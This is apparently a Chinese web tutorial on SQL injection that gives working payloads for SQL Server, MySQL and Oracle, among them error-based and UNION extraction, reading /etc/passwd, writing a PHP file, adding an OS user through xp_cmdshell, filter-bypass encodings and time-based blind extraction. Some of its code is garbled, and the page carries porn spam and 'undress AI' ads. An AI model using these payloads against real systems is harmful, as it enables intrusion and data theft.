国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

首頁(yè) 運(yùn)維 安全 sql注入的三種方式是什麼?

sql注入的三種方式是什麼?

Jul 20, 2020 pm 04:46 PM
sql注入

sql注入的三種方式,分別是:1、數(shù)位型注入;當(dāng)輸入的參數(shù)為整數(shù)時(shí),則有可能存在數(shù)字型注入漏洞。 2、字元型注入;當(dāng)輸入?yún)?shù)為字串時(shí),則可能存在字元型注入漏洞。 3、其他類(lèi)型(例如:搜尋型注入、Cookie注入、POST注入等)。

sql注入的三種方式是什麼?

SQL 注入原理

#SQL注入攻擊指的是透過(guò)建構(gòu)特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法裡的一些組合,透過(guò)執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程式?jīng)]有細(xì)緻地過(guò)濾使用者輸入的數(shù)據(jù),致使非法資料侵入系統(tǒng)。

SQL 注入分類(lèi)

#1.數(shù)字型注入

當(dāng)輸入的參數(shù)為整數(shù)時(shí),則有可能存在數(shù)位型注入漏洞。

假設(shè)存在一條URL 為:HTTP://www.aaa.com/test.php?id=1
可以對(duì)後臺(tái)的SQL 語(yǔ)句猜測(cè)為:
SELECT * FROM table WHERE id=1

判斷數(shù)字型漏洞的SQL 注入點(diǎn)

① 先在輸入方塊中輸入一個(gè)單引號(hào)'

這樣的SQL 語(yǔ)句就會(huì)變成:

SELECT * FROM table WHERE id=1' ,

不符合語(yǔ)法,所以該語(yǔ)句肯定會(huì)出錯(cuò),導(dǎo)致腳本程式無(wú)法從資料庫(kù)取得數(shù)據(jù),從而使原來(lái)的頁(yè)面出現(xiàn)異常。

② 在輸入框中輸入and 1 = 1

#SQL語(yǔ)句變成:

SELECT * FROM table WHERE id=1 and 1 = 1

語(yǔ)句正確,執(zhí)行正常,傳回的資料與原始請(qǐng)求沒(méi)有任何差異。

③ 在資料庫(kù)中輸入and 1 = 2

#SQL 語(yǔ)句變成:

SELECT * FROM table WHERE id=1 和 1 = 2

雖然語(yǔ)法正確,語(yǔ)句執(zhí)行正常,但是邏輯錯(cuò)誤,因?yàn)? = 2 為永假,所以回傳資料與原始請(qǐng)求有差異。

如果以上三個(gè)步驟全部滿(mǎn)足,程式就可能存在數(shù)字型 SQL 注入漏洞。

2. 字元型注入

當(dāng)輸入?yún)?shù)為字串時(shí),則可能存在字元型注入漏洞。數(shù)字型與字元型注入最大的差異在於:數(shù)字型不需要單引號(hào)閉合,而字元型一般需要使用單引號(hào)來(lái)閉合。

字元型注入最關(guān)鍵的是如何閉合 SQL 語(yǔ)句以及註解多餘的程式碼。

假設(shè)後臺(tái)的SQL 語(yǔ)句如下:
SELECT * FROM table WHERE username = 'admin'

判斷字元型漏洞的SQL 注入點(diǎn)

① 還是先輸入單引號(hào)admin' 來(lái)測(cè)試

這樣的SQL 語(yǔ)句就會(huì)變成:

SELECT * FROM table WHERE username = 'admin''。

頁(yè)面異常。

② 輸入:admin' and 1 = 1 --

#注意:在admin 後面有一個(gè)單引號(hào)',用於字串閉合,最後還有一個(gè)註解符號(hào)--(兩個(gè)槓後面還有一個(gè)空格!??!)。

SQL 語(yǔ)句變成:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

頁(yè)面顯示正確。

③ 輸入:admin' and 1 = 2 --

SQL 語(yǔ)句變成:

##SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

#頁(yè)面錯(cuò)誤。

滿(mǎn)足上述三個(gè)步驟則有可能存在字元型 SQL 注入。

3. 其他型別

其實(shí)我覺(jué)得 SQL 注入只有兩種:數(shù)字型與字元型。很多人可能會(huì)說(shuō)還有如:Cookie 注入、POST 注入、延時(shí)注入等。

的確如此,但這些類(lèi)型的注入歸根結(jié)底也是數(shù)位型和字元型注入的不同展現(xiàn)形式或註入的位置不同罷了。

以下是一些常見(jiàn)的注入叫法:

    POST注入:注入欄位在POST 資料中
  • Cookie注入:注入欄位在Cookie 資料中
  • 延遲注入:使用資料庫(kù)延時(shí)特性注入
  • 搜尋注入:注入處為搜尋的地方
  • base64注入:注入字串需要經(jīng)過(guò)base64 加密

常見(jiàn)資料庫(kù)的注入

攻擊者對(duì)於資料庫(kù)注入,無(wú)非是利用資料庫(kù)取得更多的資料或更大的權(quán)限,利用的方式可以歸結(jié)為以下幾類(lèi):

    查詢(xún)資料
  • 讀寫(xiě)檔案
  • #執(zhí)行指令
攻擊者對(duì)於程式註入,無(wú)論任何資料庫(kù),無(wú)非都是在做這三件事,只不過(guò)不同的資料庫(kù)注入的SQL 語(yǔ)句不一樣罷了。

這裡介紹三種資料庫(kù)的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。

SQL Server

1. 利用錯(cuò)誤訊息提取資訊

SQL Server 資料庫(kù)是一個(gè)非常優(yōu)秀的資料庫(kù),它可以準(zhǔn)確地定位錯(cuò)誤訊息,這對(duì)攻擊者來(lái)說(shuō)是一件十分美好的事情,因?yàn)楣粽呖梢酝高^(guò)錯(cuò)誤訊息提取自己想要的資料。

① 枚舉當(dāng)前表或列

假設(shè)選擇存在這樣一張表:

sql注入的三種方式是什麼?
查詢(xún)r(jià)oot 使用者的詳細(xì)訊息,SQL 語(yǔ)句猜測(cè)如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻擊者可以利用SQL Server 特性來(lái)取得敏感資訊,在輸入框中輸入以下語(yǔ)句:
' having 1 = 1 --
最終執(zhí)行的SQL 語(yǔ)句就會(huì)變成:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那麼SQL 的執(zhí)行器可能會(huì)拋出一個(gè)錯(cuò)誤:
sql注入的三種方式是什麼?

攻擊者就可以發(fā)現(xiàn)目前的表名為user、而且存在字段id。

攻擊者可以利用此特性繼續(xù)得到其他列名,輸入如下語(yǔ)句:
' GROUP BY users.id HAVING 1 = 1 --
則SQL 語(yǔ)句變?yōu)椋?br>SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

拋出錯(cuò)誤:
sql注入的三種方式是什麼?
由此可以看到包含列名username。可以一次遞歸查詢(xún),知道沒(méi)有錯(cuò)誤訊息回傳位置,這樣就可以利用 HAVING 字句得到當(dāng)表的所有列名。
註:Select指定的每一列都應(yīng)該出現(xiàn)在Group By子句中,除非對(duì)這一列使用了聚合函數(shù)

②. 利用資料型別錯(cuò)誤擷取資料

如果試圖將字串與非字串比較,或?qū)⒆执D(zhuǎn)換為另一個(gè)不相容的類(lèi)型,那麼SQL 編輯器將會(huì)拋出例外。

如下列SQL 語(yǔ)句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

執(zhí)行器錯(cuò)誤提示:
sql注入的三種方式是什麼?
這就可以取得到使用者的使用者名稱(chēng)為root。因?yàn)樵谧硬樵?xún)SELECT TOP 1 username FROM users 中,將查詢(xún)到的使用者名稱(chēng)的第一個(gè)傳回,傳回類(lèi)型是varchar 類(lèi)型,然後要跟int 類(lèi)型的1 比較,兩種類(lèi)型不同的資料無(wú)法比較而報(bào)錯(cuò),從而導(dǎo)致了資料外洩。

利用此方法可以遞歸推導(dǎo)出所有的帳號(hào)資訊:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
透過(guò)建構(gòu)此語(yǔ)句就可以獲得下一個(gè) 使用者名稱(chēng);若把子查詢(xún)中的 username 換成其他列名,則可以取得其他欄位的信息,這裡就不再贅述。

2. 取得元資料

SQL Server 提供了大量視圖,以便於取得元資料??梢韵炔聹y(cè)出表格的列數(shù),再用 UNION 來(lái)建構(gòu) SQL 語(yǔ)句來(lái)取得其中的資料。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若目前表的列數(shù)為2,則可以UNION 語(yǔ)句取得目前資料庫(kù)表。具體怎麼猜測(cè)目前表的列數(shù),後面進(jìn)行描述。

一些常用的系統(tǒng)資料庫(kù)檢視:

##SYS .DATABASE_PRINCIPALS資料庫(kù)中每個(gè)權(quán)限或列異常權(quán)限SYS.DATABASE_FILES儲(chǔ)存在資料庫(kù)中的資料庫(kù)檔案SYSOBJECTS資料庫(kù)中建立的每個(gè)物件(包括約束、日誌以及預(yù)存程序)

3. ORDER BY 子句猜測(cè)列數(shù)

可以用 ORDER BY 語(yǔ)句來(lái)判斷目前表的列數(shù)。

如:
SELECT * FROM users WHERE id = 1——SQL執(zhí)行正常

##②

SELECT * FROM users WHERE id = 1 ORDER BY 1 (依照第一列排序)——SQL執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 2 (依照第二列排序)—— SQL執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 3 (依照第三列排序)-SQL 執(zhí)行正常

SELECT * FROM users WHERE id = 1 ORDER BY 4 (依照第四列排序)——SQL 拋出例外:
sql注入的三種方式是什麼?由此可以得出,目前表格的列數(shù)只有3 列,因?yàn)楫?dāng)按照第4 列排序時(shí)報(bào)錯(cuò)了。在 Oracle 和 MySql ?資料庫(kù)中同樣適用此方法。

在得知列數(shù)後,攻擊者通常會(huì)配合 UNION 關(guān)鍵字進(jìn)行下一步的攻擊。

4. UNION 查詢(xún)

UNION 關(guān)鍵字將兩個(gè)或多個(gè)查詢(xún)結(jié)果組合為單一結(jié)果集,大部分資料庫(kù)都支援 UNION 查詢(xún)。但適用UNION 合併兩個(gè)結(jié)果有以下基本規(guī)則:

  • 所有查詢(xún)中的列數(shù)必須相同
  • 資料型別必須相容
① 用UNION 查詢(xún)猜測(cè)列數(shù)

不只可以用ORDER BY 方法來(lái)猜測(cè)列數(shù),UNION 方法同樣可以。

在先前假設(shè)的user 表中有5 個(gè)欄位,若我們用UNION 聯(lián)合查詢(xún):


SELECT * FROM users WHERE id = 1 UNION SELECT 1資料庫(kù)會(huì)發(fā)出異常:

sql注入的三種方式是什麼?可以透過(guò)遞迴查詢(xún),直到無(wú)錯(cuò)誤產(chǎn)生,就可以得知User 資料表的查詢(xún)欄位數(shù):

UNION SELECT 1,2 UNION SELECT 1,2,3

也可以將SELECT 後面的數(shù)字改為null、這樣不容易出現(xiàn)不相容的異常。

② 聯(lián)合查詢(xún)敏感資訊在得知列數(shù)為4後,可以使用一下語(yǔ)句繼續(xù)注入:

UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (註:xtype='U' 表示物件類(lèi)型是表)

若第一列的資料型別不匹配,資料庫(kù)會(huì)報(bào)錯(cuò),那麼可以遞歸查詢(xún),直到語(yǔ)句相容。等到語(yǔ)句正常執(zhí)行,就可以將 x 換為 SQL 語(yǔ)句,查詢(xún)敏感資訊。

5. 利用SQL Server 提供的系統(tǒng)函數(shù)

SQL Server 提供了非常多的系統(tǒng)函數(shù),並利用該系統(tǒng)函數(shù)可以存取SQL Server 系統(tǒng)表中的信息,而無(wú)需使用SQL 查詢(xún)語(yǔ)句。

如:

    SELECT suser_name():傳回使用者的登入識(shí)別名稱(chēng)
  • SELECT user_name():基於指定的識(shí)別號(hào)碼傳回資料庫(kù)使用者名稱(chēng)
  • SELECT db_name():傳回資料庫(kù)名稱(chēng)
  • SELECT is_member('db_owner'):是否為資料庫(kù)角色
  • SELECT convert(int, '5'):資料型別轉(zhuǎn)換

6. 預(yù)存程序

預(yù)存程序(Stored Procedure) 是在大型資料庫(kù)系統(tǒng)中為了完成特定功能的一組SQL “函數(shù)”,如:執(zhí)行系統(tǒng)指令、檢視註冊(cè)表、讀取磁碟目錄等。

攻擊者最長(zhǎng)使用的預(yù)存程序是

“xp_cmdshell”,這個(gè)預(yù)存程序允許使用者執(zhí)行作業(yè)系統(tǒng)指令。 例如:
http://www.aaa.org/test.aspx?id=1 中存??在註入點(diǎn),那麼攻擊者就可以實(shí)施指令攻擊:
#http: //www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最終執(zhí)行的SQL 語(yǔ)句如下:


SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'分號(hào)後面的那一段語(yǔ)句就可以為攻擊者在對(duì)方伺服器上新建一個(gè)用戶(hù)名為test、密碼為test 的用戶(hù)。
附註:並非任何資料庫(kù)使用者都可以使用此類(lèi)預(yù)存程序,
使用者必須持有 CONTROL SERVER 權(quán)限。

常見(jiàn)的危險(xiǎn)預(yù)存程序如下表:

資料庫(kù)檢視 說(shuō)明
#SYS.DATABASES SQL Server 中的所有資料庫(kù)
#SYS.SQL_LOGINS SQL Server 中的所有登入名稱(chēng)
INFORMATION_SCHEMA.TABLES 目前使用者資料庫(kù)中的所有資料表
INFORMATION_SCHEMA.COLUMNS #目前使用者資料庫(kù)中的所有欄位
SYS.ALL_COLUMNS #使用者定義物件和系統(tǒng)物件的所有欄位的聯(lián)合
預(yù)存程序#sp_addloginsp_dropuserxp_enumgroups#xp_regreadxp_regwrite#xp_redeletevalue#xp_dirtree#sp_passwordxp_servicecontrol

另外,任何資料庫(kù)在使用一些特殊的函數(shù)或預(yù)存程序時(shí),都需要特定的權(quán)限。常見(jiàn)的SQL Server 資料庫(kù)的角色與權(quán)限如下:

##說(shuō)明
建立新的SQL Server 登錄,允許使用者使用SQL Server 身分連接到SQL Server 實(shí)例
從目前資料庫(kù)中刪除資料庫(kù)使用者
提供Microsoft Windows 本機(jī)群組清單或在指定的Windows 網(wǎng)域中定義全域群組清單
讀取登錄機(jī)碼
寫(xiě)入登錄機(jī)碼
刪除登錄機(jī)碼
讀取目錄
更改密碼
#或啟動(dòng)某服務(wù)
角色
bulkadmin 可以執(zhí)行BULK INSERT 語(yǔ)句
#dbcreator 可以建立、變更、刪除和還原任何資料庫(kù)
#diskadmin 可以管理磁碟檔案
#processadmin 可以種植在資料庫(kù)引擎中執(zhí)行的實(shí)例
#securityadmin 可以管理登入及其屬性;可以利用GRANT、DENY 和REVOKE 伺服器層級(jí)的權(quán)限;還可以利用GRANT、DENY 和REVOKE 資料庫(kù)層級(jí)的權(quán)限;此外也可以重置SQL Server 登入名稱(chēng)的密碼
serveradmin 可以更改伺服器範(fàn)圍的設(shè)定選項(xiàng)和關(guān)閉伺服器
setupadmin 可以新增和刪除連結(jié)伺服器,並且可以執(zhí)行某些系統(tǒng)預(yù)存程序
sysadmin 可以在資料庫(kù)引擎中執(zhí)行任何活動(dòng)
#

7. 動(dòng)態(tài)執(zhí)行

SQL Server 支援動(dòng)態(tài)執(zhí)行語(yǔ)句,使用者可以提交一個(gè)字串來(lái)執(zhí)行 SQL 語(yǔ)句。

如:exec('SELECT username, password FROM users')

也可以透過(guò)定義十六進(jìn)位的 SQL 語(yǔ)句,使用 exec 函數(shù)執(zhí)行。大部分Web 應(yīng)用程式和防火牆都過(guò)濾了單引號(hào),利用exec 執(zhí)行十六進(jìn)位SQL 語(yǔ)句可以突破許多防火牆及防注入程序,如:

declare?@query?varchar(888)
select?@query=0x73656C6563742031
exec(@query)

或:
#declare/ **/@詢(xún)問(wèn)/**/varchar(888)/**/選擇/**/@query=0x73656C6563742031/**/exec(@query)

MySQL

前面詳細(xì)講述了SQL Server 的注入過(guò)程,在註入其他資料庫(kù)時(shí), 基本想法是相同的,只不過(guò)兩者使用的函數(shù)或是語(yǔ)句稍有差異

1. MySQL 中的註解

MySQL 支援以下3 中註解風(fēng)格:

  • “#”:註解從“#”到行尾
  • "-- " :註解從「-- 」序列到行位,需要注意的是使用此註解時(shí),後面需要跟上空格
  • /**/:註釋從/* ?到*/ 之間的字元

2. 取得元資料

MySQL 5.0 及其以上版本提供了INFORMATION_SCHEMA,這是一個(gè)資訊資料庫(kù),它提供了存取資料庫(kù)元資料的方式。以下介紹如何從中讀取資料庫(kù)名稱(chēng)、表格名稱(chēng)以及列名稱(chēng)。

① 查詢(xún)使用者資料庫(kù)名稱(chēng)
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關(guān)於資料庫(kù)的資訊。

②查詢(xún)目前資料表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了資料庫(kù)中表格的資訊。

③查詢(xún)指定表的所有欄位
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列資訊。

3. UNION 查詢(xún)

與 SQL Server 大致相同,此處不贅述。

4. MySQL 函數(shù)利用

無(wú)論是MySQL、Oracle 還是其他資料庫(kù)都內(nèi)建了許多系統(tǒng)函數(shù),這些資料庫(kù)函數(shù)都非常類(lèi)似,接下來(lái)介紹一些對(duì)滲透測(cè)試人員很有幫助的MySQL 函數(shù)。

① load_file() 函數(shù)讀取檔案操作

MySQL 提供了load_file() 函數(shù),可以幫助使用者快速讀取文件,但檔案的位置必須在伺服器上,檔案必須為絕對(duì)路徑,且使用者必須有FILE 權(quán)限,檔案容量也必須小於max_allowed_pa??cket 位元組(預(yù)設(shè)為16MB,最大為1GB)。

SQL 語(yǔ)句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4

通常有些防注入語(yǔ)句不允許單引號(hào)出現(xiàn),那麼可以用一下語(yǔ)句繞過(guò):
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4
#「0x2F6561342F706173737/cwdet」為十六進(jìn)制轉(zhuǎn)換結(jié)果。

在瀏覽器傳回資料時(shí),有可能有亂碼問(wèn)題,那麼可以使用 hex() 函數(shù)將字串轉(zhuǎn)換為十六進(jìn)位資料。

② into outfile 寫(xiě)入檔案操作

MySQL 提供了向磁碟寫(xiě)入檔案的操作,與load_file() 一樣,必須有FILE 權(quán)限,且檔案必須為全路徑名稱(chēng)。

寫(xiě)入檔案:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'

#③ 連接字串

MySQL 如果需要一次查詢(xún)多個(gè)數(shù)據(jù),可以使用concat() 或concat_ws() 函數(shù)來(lái)完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

#也可以將逗號(hào)改用十六進(jìn)位表示:0x2c

5. MySQL 顯錯(cuò)式註入

MySQL 也存在著明確式註入,可以像SQL Server 資料庫(kù)那樣,使用錯(cuò)誤提取訊息。

① 透過(guò)updatexml 函數(shù)執(zhí)行SQL 語(yǔ)句

首先了解下updatexml()函數(shù):
updatexml (XML_document, XPath_string, new_value);
#個(gè)參數(shù):XML_document是String格式,為XML文件物件的名稱(chēng);
第二個(gè)參數(shù):XPath_string (Xpath格式的字串) ,
第三個(gè)參數(shù):new_value,String格式,取代查找到的符合條件的資料

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
#其中的concat ()函數(shù)是將其連成字串,因此不會(huì)符合XPATH_string的格式,因而出現(xiàn)格式錯(cuò)誤,報(bào)錯(cuò),會(huì)顯示出無(wú)法辨識(shí)的內(nèi)容:
sql注入的三種方式是什麼?

② 透過(guò)extractvalue函數(shù)
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
#同樣報(bào)錯(cuò)顯示出目前使用者:
sql注入的三種方式是什麼?

6. 寬位元組注入

寬位元組注入是由編碼不統(tǒng)一所造成的,這種注入一般會(huì)出現(xiàn)在PHP MySQL。

在PHP 設(shè)定檔php.ini 中存在magic_quotes_gpc 選項(xiàng),被稱(chēng)為魔術(shù)引號(hào),當(dāng)此選項(xiàng)被開(kāi)啟時(shí),使用GET、POST、Cookie 所接受的單引號(hào)(')、雙引號(hào)(")、反斜線() 和NULL 字元都會(huì)自動(dòng)加上一個(gè)反斜線轉(zhuǎn)義

如下使用PHP 程式碼使用$_GET 接收參數(shù):
sql注入的三種方式是什麼?


sql注入的三種方式是什麼?


sql注入的三種方式是什麼?

#如訪問(wèn)URL:http:/www.xxser.com/Get.php?id='

,顯示如下:


單引號(hào)
'sql注入的三種方式是什麼?被轉(zhuǎn)義後就變成了
\'

,在MySQL 中,

\'
是一個(gè)合法的字符,也就沒(méi)辦法閉合單引號(hào),所以,注入型別是字元型時(shí)無(wú)法構(gòu)成注入。
但若是輸入:?'
,造訪URL:sql注入的三種方式是什麼?http:/www.xxser.com/Get.php?id =?'
,顯示如下:


可以發(fā)現(xiàn),這次單引號(hào)沒(méi)有被轉(zhuǎn)義,這樣就可以突破PHP 轉(zhuǎn)義,繼續(xù)閉合SQL 語(yǔ)句進(jìn)行SQL 注入。
7. MySQL 長(zhǎng)字元截?cái)?img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/024/98fde791f3e8e0103e2a63f30d8cdb75-13.png" class="lazy" alt="sql注入的三種方式是什麼?">

MySQL 超長(zhǎng)字元截?cái)嘤址Q(chēng)為「SQL-Column-Truncation」。

在MySQL 中的一個(gè)設(shè)定裡有一個(gè)sql_mode 選項(xiàng),當(dāng)sql_mode 設(shè)定為default 時(shí),即沒(méi)有開(kāi)啟STRICT-ALL_TABLES 選項(xiàng)時(shí),MySQL 對(duì)插入超長(zhǎng)的值只會(huì)提示waring,而不是error。
假設(shè)有一張表如下:
sql注入的三種方式是什麼?username 欄位的長(zhǎng)度為7。

分別插入SQL 語(yǔ)句:
① 插入正常SQL 語(yǔ)句:sql注入的三種方式是什麼?
INSERT users(id, username, password) VALUES( 1, 'admin', 'admin');


sql注入的三種方式是什麼?成功插入。

② 插入錯(cuò)誤的SQL 語(yǔ)句,使username 欄位的長(zhǎng)度超過(guò)7:


INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');

雖然有警告,但是成功插入了。

③ 再?lài)L試插入一條錯(cuò)誤的SQL 語(yǔ)句,長(zhǎng)度相同超過(guò)原有的規(guī)定長(zhǎng)度:INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;


查詢(xún)資料庫(kù):
可以看到,三個(gè)資料都被插入到資料庫(kù)中,但是值發(fā)生了變化。在預(yù)設(shè)情況下,如果資料超出預(yù)設(shè)長(zhǎng)度,MySQL 會(huì)將其階段。

###但是這樣怎麼攻擊呢?透過(guò)查詢(xún)用戶(hù)名為admin 的用戶(hù):#########可以發(fā)現(xiàn),只查詢(xún)用戶(hù)名為admin 的用戶(hù),但另外兩個(gè)長(zhǎng)度不一致的admin 用戶(hù)也被查詢(xún)出,這樣就會(huì)造成一些安全問(wèn)題。 ######例如有一處管理員登入時(shí)這樣判斷的:######$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'"; #########那麼攻擊者只需要註冊(cè)一個(gè)長(zhǎng)度超過(guò)規(guī)定長(zhǎng)度的使用者名稱(chēng)「admin ? 」即可輕易進(jìn)入後臺(tái)管理頁(yè)面。 #########8. 延時(shí)注入#########延時(shí)注入屬於盲注技術(shù)的一種,是一種基於時(shí)間差異的注入技術(shù)。以下以 MySQL 為例介紹延時(shí)注入。 ######在MySQL 中有一個(gè)函數(shù):sleep(duration),這個(gè)函數(shù)意思是在duration 參數(shù)給定數(shù)秒後運(yùn)行語(yǔ)句,如下SQL 語(yǔ)句:######SELECT * FROM users WHERE id = 1 AND sleep(3)######就是將在3 秒後執(zhí)行該SQL 語(yǔ)句。 ###

可以使用這個(gè)函數(shù)來(lái)判斷URL 是否存在SQL 注入漏洞,步驟如下:
sql注入的三種方式是什麼?
透過(guò)頁(yè)面?zhèn)骰氐氖澜缈梢詳喽ǎ珼BMS 執(zhí)行了and sleep (3) 語(yǔ)句,這樣一來(lái)就可以判斷URL 存在SQL 注入漏洞。

然後透過(guò)sleep() 函數(shù)也可以讀出數(shù)據(jù),但需要其他函數(shù)的配合,步驟如下:
①查詢(xún)當(dāng)前用戶(hù),並取得字串長(zhǎng)度
執(zhí)行SQL 語(yǔ)句:
AND if(length(user()) = 0, sleep(3), 1)
如果出現(xiàn)3 秒延時(shí),就可以判斷出user 字串長(zhǎng)度,注入時(shí)通常會(huì)採(cǎi)用折半演算法減少判斷。

② 截取字串第一個(gè)字符,並轉(zhuǎn)換為ASCII 碼
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不斷更換ASCII 碼直到出現(xiàn)延遲3 秒就可以猜測(cè)出第一個(gè)字元。

③ 遞歸截取字串每一個(gè)字符,分別於ASCII 碼比較
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
註:L 的位置代表字串的第幾個(gè)字符,N 的位置代表ASCII 碼。

不僅在 MySQL 中存在延時(shí)函數(shù),在 SQL Server、Oracle 等資料庫(kù)中也都存在類(lèi)似功能的函數(shù),例如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數(shù)。

Oracle

1. 取得元資料

Oracle 也支援查詢(xún)?cè)獢?shù)據(jù),下面是Oracle 注入常用的元資料視圖:
① user_tablespaces 視圖,查看表空間
SELECT tablespace_name FROM user_tablespaces

#② user_tables 視圖,查看目前使用者的所有表
SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 視圖,查看目前使用者的所有欄位,如查詢(xún)user 資料表的所有欄位:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 視圖,查看ORacle 資料庫(kù)的所有使用者
SELECT username FROM all_users

#⑤ user_objects 視圖,查看目前使用者的所有物件(表格名稱(chēng)、約束、索引)
SELECT object_name FROM user_objects

2. UNION 查詢(xún)

Oracle 與My一樣不支援多語(yǔ)句執(zhí)行,不像SQL Server 可以用分號(hào)隔開(kāi)從而注入多條SQL 語(yǔ)句。

①取得列的總數(shù)
取得總列數(shù)方法與前面兩種資料庫(kù)類(lèi)似,仍可使用 ORDER BY 子句來(lái)完成。

另一種方法是利用 UNION 關(guān)鍵字來(lái)決定,但是 Oracle 規(guī)定,每次查詢(xún)時(shí)後面必須跟表的名稱(chēng),否則查詢(xún)將不成立。

在Oracle 中可以使用:
UNION SELECT null, null, null … FROM dual
這裡的dual 是Oracle 中的虛擬表,在不知道資料庫(kù)中存在哪些表的情況下,可以使用此表作為查詢(xún)表。

接著取得非數(shù)字型別列,即可以顯示出訊息的欄位:
UNION SELECT 'null', null, null, … FROM dual
#UNION SELECT null, 'null', null, …… FROM dual

把每一位的null 依序用單引號(hào)' 引起來(lái),如果報(bào)錯(cuò),則不是字串類(lèi)型的列;如果傳回正常,則是字串類(lèi)型的列,就可以在對(duì)應(yīng)的位置插入查詢(xún)語(yǔ)句來(lái)取得資訊。

② 取得敏感資訊
常見(jiàn)的敏感資訊如下:

  • 目前使用者權(quán)限:SELECT * FROM session_roles
  • 目前資料庫(kù)版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • 伺服器出口IP:用utl_http.request 可以實(shí)作
  • 伺服器監(jiān)聽(tīng)I(yíng)P:SELECT utl_inaddr.get_host_address FROM dual
  • 伺服器作業(yè)系統(tǒng):SELECT member FROM v$logfile WHERE rownum = 1
  • #伺服器SID:SELECT instance_name FROM v$instance
  • #目前連線使用者:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual




### ########③ 取得資料庫(kù)表及其內(nèi)容######在得知表的列數(shù)之後,可以透過(guò)查詢(xún)?cè)Y料的方式查詢(xún)資料表名稱(chēng)、列名稱(chēng),然後查詢(xún)數(shù)據(jù),如: ######http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --######注意:在查詢(xún)資料時(shí)同樣要注意數(shù)據(jù)類(lèi)型,否則無(wú)法查詢(xún),只能一一測(cè)試,改變參數(shù)的查詢(xún)位置。 ###

以上是sql注入的三種方式是什麼?的詳細(xì)內(nèi)容。更多資訊請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

本網(wǎng)站聲明
本文內(nèi)容由網(wǎng)友自願(yuàn)投稿,版權(quán)歸原作者所有。本站不承擔(dān)相應(yīng)的法律責(zé)任。如發(fā)現(xiàn)涉嫌抄襲或侵權(quán)的內(nèi)容,請(qǐng)聯(lián)絡(luò)admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣圖片

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅(qū)動(dòng)的應(yīng)用程序,用於創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強(qiáng)大的PHP整合開(kāi)發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺(jué)化網(wǎng)頁(yè)開(kāi)發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級(jí)程式碼編輯軟體(SublimeText3)

熱門(mén)話(huà)題

Laravel 教程
1600
29
PHP教程
1502
276
PHP SQL注入漏洞的偵測(cè)與修復(fù) PHP SQL注入漏洞的偵測(cè)與修復(fù) Aug 08, 2023 pm 02:04 PM

